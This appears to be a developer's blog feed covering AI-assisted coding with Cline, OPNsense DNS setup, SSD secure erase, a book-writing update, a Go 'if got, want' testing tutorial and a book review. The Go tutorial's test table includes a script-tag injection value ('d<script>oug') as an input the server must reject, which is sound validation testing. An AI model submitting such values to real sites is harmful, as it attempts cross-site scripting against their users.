The times that Cline went most loopy was when I accidentally wrote test cases with incorrect behavior.

This is a test case I wrote too hastily:

// Detect duplicates after a heading
try testFindDupes(
 \\## Foods
 \\
 \\These potatoes potatoes are the best!
, &[_]DupeWord{
 .{ .line_number = 1, .word = "potatoes" },

I accidentally wrote the line number as 1 when it should have been 3.

When I asked Cline to make the test pass, it had a bit of a breakdown trying to figure out how to justify assigning a line number of 1 when it should obviously be 3.

Encourage Cline to add debug print statements

I notice that LLMs tend to guess at solutions rather than stop to gather more information about why a piece of code is behaving as it does.

When I found Cline getting in a loop of blind attempts to fix a bug, I found it helpful to pause its work and instruct it to insert debug print statements to verify its assumptions about the code. Cline added useful debugging output, and it remembered to remove them all before declaring their solution complete.

Kagi must be losing money on me

This is my first time ever using a metered LLM API. I’ve seen people talk about token costs, but I never had an intuitive sense of it because Kagi basically just says, “Don’t worry about what it costs.”

Cline helpfully shows you how much each coding task has run up in credits as you go.

So, I definitely am getting the better end of Kagi’s $25/month unlimited plan. I spent $6 in five hours with Cline, and Cline does a lot of things to minimize token consumption. I use Kagi Assistant every day and frequently paste giant files into a chat 10+ times during a conversation. Now that I see the costs, I’m probably spending costing Kagi $5-10 in API credits per day.

Other resources

Most AI posts are thin on substance or practical lessons. The ones I’ve found most useful in seeing what’s possible are:

“Everything I built with Claude Artifacts this week” by Simon Willison
“How I Use ‘AI’” by Nicholas Carlini
“How I program with LLMs” by David Crawshaw

How to Resolve Local Hostnames in OPNSense

Tue, 21 Jan 2025 00:00:00 +0000

My router runs OPNSense Business. I like having an open-source router, but I have a few gripes with it.

My biggest issue is that, by default, OPNsense can’t resolve hostnames on my local network.

Why can’t OPNsense resolve local hostnames?

For every other router I’ve owned in my life, if there’s a computer on my network named foo123 and I run ping foo123 from my main desktop, then everything just works. My desktop successfully pings foo123.

With OPNsense, I can’t ping foo123 from my desktop. OPNsense seems to not resolve local hostnames by default, and I don’t understand why.

I’ve found workarounds that improve the situation somewhat, but it’s still not perfect.

Tell Unbound to resolve local hostnames

Go to Services > Unbound DNS > General.

Check these options:

Check “Register ISC DHCP4 Leases” and “Register DHCP Static Mappings”in Unbound settings

Click Apply to apply the changes.

Manually specify hostnames

Despite configuring Unbound, I find that OPNsense still doesn’t always resolve local hosts, and I don’t know why.

In situations where I just need OPNsense to resolve, I force the mappings manually.

Choose a local domain name

Go to System > Settings > General.
Under “Domain” specify a domain name for your local network.
- I always thought you were supposed to choose local, but the help text warns that you’re not supposed to do that.
- I chose home.arpa, as that’s the technically correct domain for a home network, but wow is it ugly.
- According to the IETF’s definition, the domain should actually be home.arpa. (with a trailing dot), but OPNsense rejects that as a domain and recommends home.arpa, so I’m sticking with that.
Click “Save” to apply the change.

Create a static mapping for the host

Go to Services > ISC DHCPv4 > Leases
Find the host in the list of hosts that you want OPNsense to resolve.
Click the + icon at the right end of the table row. This should bring you to the Static DHCP Mapping dialog.
Enter a local IP address in the IP address field.
Click “Save” to save the static IP mapping.

Create a manual override for the hostname

Go to Services > Unbound DNS > Overrides.
Under “Host Overrides”, click the orange “+” button to add a new override.
Under “Host” enter the hostname you specified in the static mapping.
Under “Domain” enter home.arpa.
Under “IP address” enter the IP address you chose in the static mapping.
Click “Save”.

Specifying hosts with the `.home.arpa` domain suffix

Sometimes, when OPNsense fails to resolve host foo123, it successfully resolves foo123.home.arpa, so I always try adding the domain suffix if the bare hostname doesn’t work.

I’m not sure why OPNsense needs the suffix, as the lack of domain name should make it obvious that I’m talking about a host on the local network, but the .home.arpa domain sometimes makes a difference.

Other improvements?

If you have suggestions for making OPNsense’s hostname resolution less brittle and more reliable, let me know in the comments.

Increase Your Reply Rate on Cold Emails to Me

Fri, 17 Jan 2025 00:00:00 +0000

The term “cold email” refers to emailing someone who you’ve never spoken to before.

There are lots of guides on writing cold emails. This one is a bit niche, as it’s about cold emailing a particular person: me. But I guarantee you that it’s the best guide you can find on this hyperspecific topic.

I’m publishing my guidelines under the Creative Commons BY-4.0 license, so you’re welcome to reuse or adapt them to guide people in emailing you.

I know this sounds obnoxious

Every time I see someone post a guide about how other people should interact with them, I roll my eyes and privately judge that person for being self-important.

I also get a lot of emails from people who probably spent 20+ minutes writing something that has no chance of motivating me to respond, so I’m hoping to save people from making fixable mistakes.

I do enjoy getting emails from readers. I’m not famous enough that I’m inundated with emails. I receive maybe 10 cold emails per month, and I respond to a handful depending on how busy I am.

Things that increase my chances of responding

Your email benefits me in some way

I know this sounds selfish, but it is the truth.

There are a few ways a cold email might benefit me:

Offers an improvement on something I’ve written about.
Solves a problem I have.
You work on something that complements my business, and you see an opportunity for us to work together.
- I don’t mean generic things you’d offer to any website like SEO consulting or cheap dev work.
- I mean something like you see that I’m working on a book for developers, and you’re a publisher for developer-oriented books.

You’re also a bootstrapped founder

Meaning you’ve tried to run a business, not that you’ve idly thought about it a lot.

You don’t have to be a successful founder. If you’ve had 20 flops, that’s more interesting to me than someone who has a brilliant idea but hasn’t gotten around to working on it.

You write publicly

You have a blog or you’ve published books. It doesn’t have to be a popular blog or a beautiful blog or even a good blog. As long as you’re thinking of words wtih your human mind and typing them out with your human fingers, I’m interested.

YouTube also counts, but Twitter, BlueSky and other microblogging doesn’t. Neither do AI-generated blogs.

We’ve done something similar

If we have some similar history, like we worked at the same place, lived in the same city, or drank from the same water bottle, let me know. It’s always a bonus to hear from someone with overlapping experiences.

You ask an interesting question

Sometimes, it’s fun to respond to a reader email just because they’ve asked an interesting question I hadn’t considered, and I enjoy thinking about the answer.

Things that decrease my chances of responding

You immediately ask me to meet with you

I’m an introvert, and I spend most of my time writing or coding.

If you invite me to a 30-minute call, you might think that’s only asking me to set aside 30 minutes for you, but it’s more like 90. I like having long, unbroken blocks of time to work, so a 30-minute call takes time to prepare for and unwind from.

I do sometimes meet with people who cold email me, but it’s usually when there’s some opportunity for us to work together or there’s an obvious way we can help each other on a live call.

It’s fine to offer a call, but I’m more likely to respond if you also offer another path forward.

You’re asking something I’ve already answered in my blog

If you’re asking a question, first try searching the topic on a search engine and append site:mtlynch.io. You might get your answer instantly, and we’ll both save some time.

I don’t expect you to read every last word of my blog to know everything I’ve ever said. But if you ask me if I have any thoughts about code reviews, I’ll quickly archive that email. On the other hand, if you ask me something about how I use Docker, I don’t expect you to read every post where I mention Docker to see if I’ve answered your question.

Your email looks templated

If you just say, “I read your last article, and I enjoy your writing style,” it might be a sincere sentiment, but it’s also what 99% of spam I receive looks like, so I might mistake you for a bot.

If you’re reaching out because something I wrote resonated with you, that’s great! Just be a bit more specific about what you liked and why.

Your email looks AI-generated

We’re probably in the last few years where I can meaningfully distinguish a human-written email from an AI-generated email. While we’re still here, try to make your email as human-sounding as possible. If it sounds like something an AI chatbot would generate, try revising it to sound more like you.

You include a lot of details that need addressing

The easiest emails for me to respond to are when someone says they liked one of my posts. It brightens my day, and I can send a quick thank you.

When people include a lot of extra details, it makes it hard to give a quick thanks. Here’s a made up example:

Thanks for your post about unit testing! It taught me a lot.

That post really brightened my day because things are a bit blue here on the farm. Grandma Pauline has come down with smallpox again, and we’ve had to say goodbye to our beloved hamster, Emilio, due to the global pellet supply crisis.

I’d like to say thanks to an email like that, but I also don’t want to just ignore your grandma’s illness or your hamster tragedy, so I’ll probably just keep putting it off and then eventually archive it.

You insert trackers into your email

If you use an email service that injects hidden pixels or you use special links that track when I’ve clicked, I’m a lot less likely to respond.

I understand that it’s interesting to know who read and clicked your email, but it’s also invasive and sneaky to put hidden trackers in your email.

Things that I definitely won’t respond to

You’re asking for free, 1:1 tech support

If you’re emailing about an open-source project I’ve published, remember that open-source authors are not obligated to help you. If anything, you owe them a favor because they created something that you use.

If you need help with one of my projects, file an issue on GitHub or GitLab. If the project is archived or doesn’t offer a way to request support, I don’t support that project anymore.

If you have a question about a blog post that doesn’t have an accompanying source code repo, I’m more likely to respond if you instead leave your question as a comment on the relevant post. That way, if I respond to you, everyone else benefits. Also, someoene else may respond to you if I don’t have time.

You’re asking me to apply for a job

I love working for myself, so it’s nearly impossible that I’m interested in having an employer again.

If you’re really intent on offering me a job, this is basically the only intro that might get a positive response:

I’m going to pay you $1,000 in advance just to get on a call with me, and the salary is $1M/year in salary, excluding equity or options.

Overcoming Gotchas in Samsung Secure Erase

Thu, 16 Jan 2025 00:00:00 +0000

I have a few Samsung SSDs, and I always have trouble remembering the process of secure erasing them, as Samsung Magician software is terrible.

Here are my notes for overcoming Samsung Magician’s gotchas in the process of secure erasing a Samsung SSD.

You need a Windows or MacOS system with a Samsung SSD attached

This requirement drives me crazy, as Samsung Magician is creating a bootable USB disk, so it shouldn’t care what’s on your current system, but it does. And Samsung Magician only exists for Windows, MacOS, and Android, so if you’re on Linux, you can’t use it.

And not only that, Samsung Magician will refuse to do anything if there’s no compatible Samsung SSD attached to the machine running Samsung Magician.

So, if you want to securely erase the data on computer A, which contains a Samsung SSD, you might sensibly run Samsung Magician on computer B to create the bootable USB. But this won’t work unless computer B also has a compatible Samsung SSD attached.

USB key doesn’t work in Samsung Magician

When you finally get a compatible system to run Samsung Magician, when you click “Secure Erase,” you’ll probably find that when you try to create a bootable USB, it won’t show you any options, even if you insert a working USB drive.

You might get a bit further. Maybe Samsung Magician recognizes the USB drive but shows this error message:

Failed to create bootable USB device

It offers no further detail.

The issue is that Samsung Magician expects the drive to be partitioned in a particular way. If the drive has no partitions at all Samsung Magician won’t recognize it. If the drive has a large partition, Samsung Magician fails with the error, “Failed to create bootable USB device.”

The solution is to erase all partitions on the USB disk and create a single FAT32 partition that’s 500 MB in size.

I don’t know why Samsung Magician insists on this, as it completely blows away the partitions anyway. But once it sees a disk with a 500 MB partition, it successfully creates the bootable disk for secure erasing the SSD.

SSD is locked

When I thought I was home free, the Samsung bootable disk told me that my SSD was “locked.”

Its suggestion was to remove the SSD’s power cable while the computer is still on, then plug in the power again. I’m leery of removing internal cables while a desktop is running, but I tried it, and sure enough, that allowed the secure erase to work.

I tried other options like shutting off my computer, and completely cutting off power. But it seemed that for whatever reason, I had to remove the SSD power cable while keeping the SATA cable attached.

Refactoring English: Month 1

Thu, 09 Jan 2025 00:00:00 +0000

Highlights

I published the first chapter of my book and was happy with the reception.
My attempt to hire a book cover designer flopped.
I may have figured out how to support large files on PicoShare.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Finish two chapters of Refactoring English

Result: Finished one chapter and got 75% through the next.
Grade: B

The first chapter took longer than I expected, as I kept finding parts that I wanted to rewrite. I did find it helpful to take a break for a week to write a second chapter and come back fresh.

Work with a designer to complete the cover design for Refactoring English

Result: Decided to do the cover design on my own.
Grade: C

I got partway through working with the designer, but I pulled the plug because I didn’t like the direction it was going. I decided to do my own cover for now.

Thoughts on finishing the first chapter of Refactoring English

I published the first chapter of my book, Refactoring English. The chapter is called “Rules for Writing Software Tutorials,” and it’s based on years of following tutorials and noticing when they do things well or poorly.

A successful reception for the first chapter

The chapter’s reception was on the high end of my expectations. It’s a list of rules about tutorials, so I didn’t think it would set the Internet on fire, but it got a respectable response on a few sites I thought would be a good match:

Hacker News: 375 points and reached the #10 position
/r/programming: 159 points and reached #1 position for the day (I think?)
Lobste.rs 27 points and reached the #2 position

The main metric I’m tracking is mailing list subscribers. 245 new subscribers signed up the week after the post, increasing total subscribers of the book by 31%.

The first chapter caused a major jump in subscribers to the book’s mailing list.

What’s the right way to iterate on an article after I publish it?

A few years ago, Salvatore Sanfilippo, creator of Redis, paused his programming work to write a sci-fi novel. While working on the novel, he observed:

I believe the most sharp difference between writing and programming is that, once written, edited and finalized, a novel remains immutable, mostly.

Salvatore went on to say that programmers should learn from novelists and resist the urge to rewrite the core logic of their app after it’s done. I actually took the opposite lesson: authors should write books more iteratively, like programmers.

For Refactoring English, I’m trying to publish chapters in near-finished state, but I also want to let reader feedback shape my writing.

Having chapters live in flux creates a problem I’ve never dealt with before: I’m messing up comment threads. On Hacker News, Lobsters, and reddit, commenters disagreed with my point about “Let computers evaluate conditional logic.” And I think they’re right. That was my weakest point, so I’ve cut it.

The problem is that anyone reading those discussions will wonder why people are disagreeing with a point that never appears in my article.

The best solution I can think of is to include a note at the bottom saying that I’m still revising the book with a link to the original and a list of notable edits.

How do I keep finding readers to give feedback?

So far, I feel like my plan to iterate based on reader feedback is working.

I’m happy with what I published in the first chapter, but I also received a lot of thoughtful critiques from readers that will help me revise it.

I thought, “Okay, I can keep sharing preview chapters to those same channels.”

Then, I reviewed my table of contents and realized that no other chapter would be a match for the channels where I shared the first one. Most of those sites have a written or unwritten rule that says, “If there’s no code in the post, it doesn’t belong here.” For example, /r/programming is probably not going to be excited to read my impassioned chapter about why I hate the passive voice.

One idea I’ve had is to do freelance editing for other writers and use that to inform Refactoring English.

Except I don’t think “editing” is exactly what I’d be good at. People hear “editor” and think I’m going to polish their writing for them. What I actually want to do is identify problems in their writing and explain principles and techniques to help them improve it themselves. I don’t know what to call that. Writing mentorship? Coaching?

Either way, if that sounds interesting to you, reach out. I can help with blog posts, documentation, or any software-related writing. I can show you how to attract more readers and make your writing more engaging. Basically, if you like the way I write on this blog, I can show you the techniques I’m using here.

I’ll charge $100 for two rounds of review.
- The cost covers me reviewing your initial draft and then reviewing changes you make based on my feedback.
The piece can be up to 2,500 words.
The money is mainly so you have skin in the game, so if $100 is beyond your budget, maybe we can still work something out.

My poor experience hiring a book cover designer through Reedsy

One of my distractions from working on my book in November was to convince myself I needed a professionally designed cover. I started the process in November, but the work happened in December.

I found the designer through Reedsy, a platform that several people recommended in the Write Useful Books community. The common review was that it was pricey but worth it.

I wrote a design brief explaining what I wanted and sent it to four designers on Reedsy. I listed my budget as US$350-650. One designer bid 20% over my max budget, and his reply was a generic, “Sure, I can do this for you,” with nothing that suggested he read my brief. Another designer declined, saying that my budget was too low, and one never responded.

The only valid bid came from Gary, who offered to do the cover for £350 (US$434). He sent a thoughtful note that referenced specifics from my brief, his portfolio had dozens of book covers, and he had a perfect 5.0 rating on Reedsy. He proposed a one-month timeline, with the fee split into three payments. That sounded fine to me, so I hired him.

Working with Gary

A week went by, and I hadn’t heard anything from Gary. After my first payment was auto-billed, I asked for an ETA on initial drafts. Gary said he’d send concepts the next day, which he did.

Initial book cover ideas from the designer I hired through Reedsy

Sample 1 looked good, but it was a pretty on-the-nose ripoff of Beautiful Code, which I had cited in my brief. I found the rest underwhelming, but I blamed myself for not spending more time on my brief.

As I reviewed the concepts, I realized what I cared about conveying was the idea of careful, deliberate work. I felt like Sample 6 of the zen garden and Sample 5 of the clay mold were on the right track, so I asked to explore those. I suggested an image of a sculptor carving stone.

Another week went by, and Gary sent a minor variation on the zen garden idea. He also attempted the sculptor concept with an image showing a chisel with raw stone. But the photo was of stone that hadn’t been carved at all, so it wasn’t capturing the idea of careful work.

The following week was Christmas, and I started to worry that the project wouldn’t complete by the December 30th finish date. Gary emailed me the Monday before Christmas to say he was returning to work on December 27th, so he was still on track.

By the end of the day on the 27th, I hadn’t heard from Gary, and I realized I was in a bit of a pickle.

It was 4 PM on a Friday for me in US Eastern Time, but Gary was in the UK, so his business day was long over. Reedsy was going to auto-bill me at noon Eastern Time on Monday. The last day Reedsy allows me to dispute a bill is 24 hours before it’s charged, so I had zero business days left to get completed work.

I asked Reedsy’s customer support to push back my final payment a week, as Gary hadn’t delivered his work. Reedsy told me that I had to take it up with Gary. I explained that if I waited until the next business day to get a response from Gary, it would be too late to move the payment. Reedsy support insisted I try to resolve it with Gary anyway.

I emailed Gary at 5 PM ET on Friday, and he responded that he didn’t work “corporate hours,” so he was still on track to finish the project by working the weekend. He pushed back my payment as a courtesy but seemed miffed that I’d complained to Reedsy.

I, on the other hand, do try to stick to regular working hours and didn’t feel like spending my weekend with Gary rushing to finish this project. When I checked back on Monday, Gary had sent updates on the two concepts, but they were both pretty mediocre. One looked clearly AI-generated and unrealistic. The other was just not capturing the tone I asked for.

I asked Gary whether the images were AI-generated and if they met the license requirements I’d specified in my brief. He got cagey at that point, so I asked to cancel the project. I offered him the £231 (US$287) I already paid if he’d allow me to cancel the final payment and terminate the project. He agreed, so that was that.

I gave Gary a 3-star review across the board. I didn’t think he was awful, but just kinda meh and bad at communicating timelines. My review is public, but Reedsy still claims that Gary has a perfect 5.0 rating even though I gave him a 3.0, and he only has four other reviews.

Despite me giving Gary a 3-star review, he still has a perfect 5.0 rating with five reviews.

My DIY book cover

With Gary out of the picture, I decided to try making my own cover. I found a royalty-free image on Unsplash that captured the spirit of quiet, careful work, and I added some text.

I know it looks amateurish, but I’m about 80% as satisfied as I expected to be with Gary’s work. But this was free and took me an hour. I’m treating it as a placeholder. I can always hire someone or invest more time later.

Side projects

Making PicoShare work with large files

PicoShare is my minimalist, easy-to-host web app for sharing files over the Internet. I created it a few years ago, and I use it on a weekly basis.

My minor shame about PicoShare is that it scales poorly for large files. On a VM with a shared CPU and 256 MB of RAM, PicoShare works great for files up to about 1 GB in size. If you try uploading files larger than 1 GB, PicoShare typically exhausts RAM and crashes. You can solve it by throwing more hardware at the problem, but it would be nice if PicoShare supported uploading arbitrarily large files.

I’ve dug into the issue a few times, and my strong hunch is that this performance issue is because PicoShare stores all file data in SQLite. It’s an unusual choice, but it means that the SQLite data captures the app’s full state, including file data. So, I think what’s happening is that PicoShare tries to write a ton of data to SQLite, exhausts RAM, and dies.

I’d been curious about using SQLite’s streaming I/O APIs, as they seem like they should let me write to the database more efficiently. But I wrote PicoShare in Go, and the Go SQLite driver I was using didn’t support the streaming I/O APIs.

Luckily, Nuno Cruces published a new SQLite driver for Go that supports streaming I/O, and he offered to help me port PicoShare to his library. I worked with him a little bit in September, and we made some progress, but we realized that even with streaming I/O, PicoShare still exhausts memory on large files.

Nuno suggested that I might lower RAM consumption if I broke the files up and wrote them to SQLite in chunks. I actually already do that in my current implementation, but the different streaming I/O semantics meant I’d have to rewrite a lot of delicate code. So, I ran out of steam at that point and shelved the work.

In December, I came back to the streaming I/O problem with fresh eyes. I realized the chunking problem was easier than I thought. PicoShare exhausted RAM when I wrote large files but not when I read them. So, I only had to reimplement the writing side of things with the more efficient streaming APIs.

Writing files in chunks with streaming I/O turned out to be simpler than what I implemented with SQLite’s default APIs. I had initially thought the easiest thing to do would be to abstract the SQLite database with an io.Writer object and let io.Copy dump the data in. But on this go-around, I realized it’s easier if I do all the writes directly without bothering with io.Copy.

The streaming I/O version has been stable in my limited testing, but I still need to test more extensively. The obstacle there is that my home upload speeds are pitiful, so I’ve been working on a way to get a desktop OS running on fly.io that I can access remotely via VNC.

Wrap up

What got done?

Published “Rules for Writing Software Tutorials”
Published “if got, want: A Simple Way to Write Better Go Tests”
Set up my new NixOS system and haven’t used Windows at all in the last month.
Set up offlineimap to keep a local copy of my email, and I back it up with daily snapshots.
Made a few contributions to fusion, an open-source RSS reader I like (built with Go and SQLite).

Lessons learned

Takeaways for hiring a graphic designer
- Consider doing a DIY placeholder version before hiring a professional.
- Tie payments to project milestones, not dates.
- Be explicit about whether you’re okay with the designer using AI-generated images or AI-assisted image compositing.
- Be explicit about needing to see license information for third-party assets like photos or fonts.
  - I had said in the brief that all the assets needed to have compatible licenses.
  - It would have been better to say the contractor had to deliver the license information and not just pinky promise that they’re providing an asset in compliance with its license.
- Don’t plan a project that’s supposed to end right after Christmas.
- Reedsy biases the experience heavily to favor contractors rather than its clients.

Goals for next month

Publish my 2024 annual review blog post.
Finish another chapter of my book.
Revise my tutorials chapter based on reader feedback.

Requests for help

Reach out if you’re interested in hiring me to help you with your writing.

if got, want: A Simple Way to Write Better Go Tests

Wed, 08 Jan 2025 00:00:00 +0000

There’s an excellent Go testing pattern that too few people know. I can teach it to you in 30 seconds.

Instead of writing Go tests like this:

// The common, unrefined way.
username := GetUser()
if username != "dummyUser" {
 t.Errorf("unexpected username: got %s, want: %s", username, "dummyUser")
}

Write your tests like this, beginning each assertion with if got, want :=:

// The underused, elegant way.
if got, want := GetUser(), "dummyUser"; got != want {
 t.Errorf("username=%s, want=%s", got, want)
}

The if got, want :=: pattern works even better in table-driven tests. Here’s an example from my library for parsing social media handles:

func TestParseTwitterHandle(t *testing.T) {
 for _, tt := range []struct {
 explanation string
 input string
 handleExpected social.TwitterHandle
 errExpected error
 }{
 {
 "regular handle on its own is valid",
 "jerry",
 social.TwitterHandle("jerry"),
 nil,
 },
 {
 "regular handle in URL is valid",
 "https://twitter.com/jerry",
 social.TwitterHandle("jerry"),
 nil,
 },
 {
 "handle with exactly 15 characters is valid",
 "https://twitter.com/" + strings.Repeat("A", 15),
 social.TwitterHandle(strings.Repeat("A", 15)),
 nil,
 },
 {
 "handle with more than 15 characters is invalid",
 "https://twitter.com/" + strings.Repeat("A", 16),
 social.TwitterHandle(""),
 social.ErrInvalidTwitterHandle,
 },
 } {
 t.Run(fmt.Sprintf("%s [%s]", tt.explanation, tt.input), func(t *testing.T) {
 handle, err := social.ParseTwitterHandle(tt.input)
 if got, want := err, tt.errExpected; got != want {
 t.Fatalf("err=%v, want=%v", got, want)
 }
 if got, want := handle, tt.handleExpected; got != want {
 t.Errorf("handle=%v, want=%v", got, want)
 }
 })
 }
}

How does this pattern work?

Simple if statements in Go evaluate a boolean expression:

// A simple if statement that evaluates a boolean expression.
if volume > maxVolume {
 volume = maxVolume
}

Go offers a second type of if where you can execute a statement before evaluating the boolean expression:

// Execute a statement before evaluating the boolean expression.
if volume := getRequestedVolume(); volume > maxVolume {
 panic("requested volume is too high")
}

The neat trick is that you can declare and assign multiple variables within an if statement:

// Declare and assign multiple variables within if statement.
if a, b, c := nextScore(), nextScore(), nextScore(); a + b + c == 300 {
 fmt.Println("Congratulations! You got a perfect score!")
}

Variables that you declare within the scope of the if statement only exist within the if statement. That’s why you can reuse the variable names got and want in all of your assertions without causing naming conflicts.

In fact, if you try to access got or want outside of an if statement, the Go compiler will tell you that the variable doesn’t exist:

// got and want are only available within the if statement.
if got, want := GetUser(), "dummyUser"; got != want {
 t.Errorf("username=%s, want=%s", got, want)
}
log.Printf("username was %s", got) // This won't compile

What’s so great about this technique?

It trains your eye to find important information

Go code tends to be verbose, especially in tests.

Consider the following test snippet:

users := GetAllUsers()
if len(users) != 1 {
 t.Fatalf("expected only a single user, got %d", len(users))
}
if users[0].username != adminUsername {
 t.Errorf("unexpected username: got %s, want: %s", users[0].username, adminUsername)
}

At a glance, is it obvious which values I expect and which are the values that GetAllUsers returned? Not to me.

If I rewrite the above snippet using the if got, want := pattern, the ambiguity goes away:

users := GetAllUsers()
if got, want := len(users), 1; got != want {
 t.Fatalf("userCount=%d, want=%d", got, want)
}
if got, want := users[0].username, adminUsername; got != want {
 t.Errorf("username=%s, want: %s", got, want)
}

Once you know the pattern, your eye can quickly find the important information in a test assertion:

When you recognize this pattern, your eye can quickly find the actual and expected values of the assertion.

It’s easy to copy/paste

When the variables are always named got and want, you can copy/paste assertions without having to change much. You usually just have to change the assignments, the name in the t.Errorf, and maybe the format specifiers (e.g., %s vs %v).

This pattern also prevents a mistake I frequently made in the past, where I’d copy/paste a test assertion but forget to update some part of the error message, like this:

username := GetUser()
if username != "admin" {
 t.Errorf("wrong username: got %s, want %s", username, "admin")
}

email := GetEmail()
if email != "root@example.com" {
 // Whoops, copy/pasted from above but forgot to update the error message.
 t.Errorf("wrong username: got %s, want %s", username, "admin")
}

I wouldn’t notice the mistake until my test failed, yielding this confusing error message:

--- FAIL: TestUserProperties (0.00s)
 users_test.go:24: wrong username: got admin, want admin

The if got, want := pattern protects me from this class of error because if I copy/paste a test assertion, I only have to update values in one place.

It distinguishes test assertions from test logic

When I implement HTTP servers in Go, I often write unit tests that look like this:

func TestUserHandler(t *testing.T) {
 for _, tt := range []struct {
 explanation string
 payload string
 statusExpected int
 responseExpected string
 }{
 {
 "valid request returns success",
 "username=doug",
 http.StatusOK,
 "created user doug",
 },
 {
 "reject username with angle brackets",
 "username=d<script>oug",
 http.StatusBadRequest,
 "",
 },
 {
 "reject empty username",
 "username=",
 http.StatusBadRequest,
 "",
 },
 } {
 t.Run(tt.explanation, func(t *testing.T) {
 req, err := http.NewRequest("POST", "/user", strings.NewReader(tt.payload))
 if err != nil {
 t.Fatal(err)
 }

 s := NewServer()
 rec := httptest.NewRecorder()
 s.Router().ServeHTTP(rec, req)
 res := rec.Result()

 if got, want := res.StatusCode, tt.statusExpected; got != want {
 t.Fatalf("httpStatus=%v, want=%v", got, want)
 }

 // If this is not a test for valid input, ignore the rest of the
 // server's response.
 if tt.statusExpected != http.StatusOK {
 return
 }

 body, err := io.ReadAll(res.Body)
 if err != nil {
 t.Fatal(err)
 }
 defer res.Body.Close()

 if got, want := string(body), tt.responseExpected; got != want {
 t.Fatalf("response=%s, want=%s", got, want)
 }
 })
 }
}

In that test body, there are two different types of if statements: test assertions and test logic branches.

Every if statement with the if got, want := pattern is an assertion about the code I’m testing. All the other if statements are just controlling code flow and are not assertions about my code.

For example, the first if statement in the test is to check that I was able to construct an HTTP request object:

req, err := http.NewRequest("POST", "/user", strings.NewReader(tt.payload))
if err != nil {
 t.Fatal(err)
}

That’s not an assertion about my code because I haven’t even called my server yet. If that code fails, something wacky has happened in the Go standard library.

On the other hand, any time the reader sees if got, want :=, they can be certain I’m asserting something about the code I’m testing:

if got, want := res.StatusCode, tt.statusExpected; got != want {
 t.Fatalf("httpStatus=%v, want=%v", got, want)
}

Why not use a third-party test assertion library?

If you’re a devout user of a third-party testing library like testify or is, this post probably sounds ridiculous. Those libraries offer both expressive test output and clear assertions, so why don’t I use them?

I came to Go from Python, so I thought it was absurd that Go didn’t offer an API like Python’s unittest.assertEqual. I immediately reached for third-party libraries to create mocks and make assertions, but my more experienced teammates asked me to try the Go standard library’s testing APIs instead.

I came to prefer the minimalism and explicitness of Go’s standard testing library over third-party libraries. The libraries are one more dependency to maintain and one more layer of abstraction that could introduce bugs.

Credit

I learned this technique from Litestream author Ben Johnson, who, in turn, learned it from its occasional use in the Go standard library.

The Case for Open Borders by John Washington

Sat, 28 Dec 2024 00:00:00 +0000

If you’re a liberal who’s interested in becoming a radical progressive, this is a good book for you. If you’re anyone else, you’re probably not the target audience.

I found the book frustrating in a lot of ways.

I hoped the author would consider the benefits of borders and weight them against the harms and make the case that the harms outweigh the benefits. Instead, the author was unable or unwilling to see any legitimate reason for a nation to enforce limits or criteria on who may enter.

Instead of evaluating pros and cons, the author enumerates all the harms of border control and concludes that we should abolish borders because they have negative effects. This is basically like arguing that because you sometimes forget your keys and can’t use your car, we should just get rid of car keys and make cars accessible to any person who wants to use one.

When people talk about “Chesterton’s Fence,” it’s about this exact situation. Every country has borders, and there are reasons why those borders exist. It’s silly to talk about eliminating borders without acknowledging why virtually every civilization created them in the first place:

There exists in such a case a certain institution or law; let us say, for the sake of simplicity, a fence or gate erected across a road. The more modern type of reformer goes gaily up to it and says, “I don’t see the use of this; let us clear it away.” To which the more intelligent type of reformer will do well to answer: “If you don’t see the use of it, I certainly won’t let you clear it away. Go away and think. Then, when you can come back and tell me that you do see the use of it, I may allow you to destroy it.”

“Chesterton’s Fence,” by G.K. Chesterton

The author also assumes that the reader shares some particularly extreme worldviews, such as that capitalism shouldn’t exist and that Western countries have an obligation to provide not just free passsage, but travel assistance and social welfare to any person anywhere in the world who wants to relocate to the US or Europe.

I did learn some interesting details that improved my understanding of immigration, but overall, I felt like the author and I differed too much in fundamental beliefs about citizenship, so the arguments didn’t resonate with me.

What I Liked

It’s available as a DRM-free ebook. I never see that for books I find in the bookstore.
The last section of the book felt well-argued and not appeals to emotion.
It included interesting historical examples of rapid migration that I wasn’t aware of.

What I Disliked

The arguments are lacking in nuance. The author only considers the harms of immigration policies and uses that to justify abolishing them without considering any benefits.
The author repeatedly claims that borders are unnecessary but has no examples of any modern society with open borders or any explanation for why no country adopts such a policy.
The author is uncharitable in painting proponents of immigration controls. They’re presented as seething xenophobes or greedy elites.
The author largely ignores any criticism of open borders or studies contradicting his beliefs.
- Almost all studies he discusses are from pro-immigration organizations or libertarian think tanks.
Most of the people he quotes aren’t policy experts but philosophers, poets, and activists.
He takes bizarre extreme positions, such as arguing that even illegal immigrants who commit violent crime don’t deserve arrest.
- He claims that if an immigrant commits a violent crime, it was probably America’s fault for not setting up that immigrant for success.
He casually dismisses the idea that restricting entry to a country is like controlling access to a private home, but I finished the book still feeling like the motivations for securing a private home are similar to securing a country’s border.
The author repeatedly makes the argument that borders aren’t “real” because they’re defined arbitrarily and change over time. Because of this, the author asserts that they’re not legitimate.
- Similarly, he argues that borders are often imperfect and interfere with historical behavior of human tribes or animal species. And because they’re imperfect, they should not exist at all.
Author often lumps together legal and illegal immigration when he wants to demonstrate benefits rather than addressing whether the benefits are mostly from legal immigration.
The causality is questionable.
- The author points to economic increase after migration and credits migration with the economic boom, but it seems just as likely that the economic boom was what caused the immigration.
The book has poor sourcing and often refers to studies without specifically citing them, making it difficult to check claims.
Argues that borders cause violence rather than prevent it.
- In the context of places like Israel, it’s absurd to imagine there would be peace if Israel simply stopped defending its borders.

Key Takeaways

Immigration in the US

Between 1800 - 1900, 75% of all global immigration was into the US.
The US deports more people than any other country.

Arguments for relaxing restrictions on US immigration

Ed: The author provides many more arguments than this, but these were the ones that I found compelling.

The US has destabilized many other countries through diplomatic policies and active intervention.
- We therefore have an obligation to residents in those countries to offer a safe place to live.
Western countries contribute to climate change more severely than most impoverished countries.
- Global warming is making some areas of the world uninhabitable.
- The US has a responsibility to people who have been displaced from their homes due to climate change.

Displacement of Native Americans

Forced removal of Native Americans during the 1830s cost about $1T in 2023 dollars.
In 1836, 40% of federal spending was on deportation of Native Americans.

Immigrant detention centers in the US

In 2019, the US spent $11M/day on immigrant detention centers.
62% of detention beds are in private, for-profit prisons.

Impact on wages and unemployment

2007 study by Giovanni Peri found that immigration does not increase unemployment or reduce wages.
Undocumented immigrants pay more in taxes than they receive in government benefits.
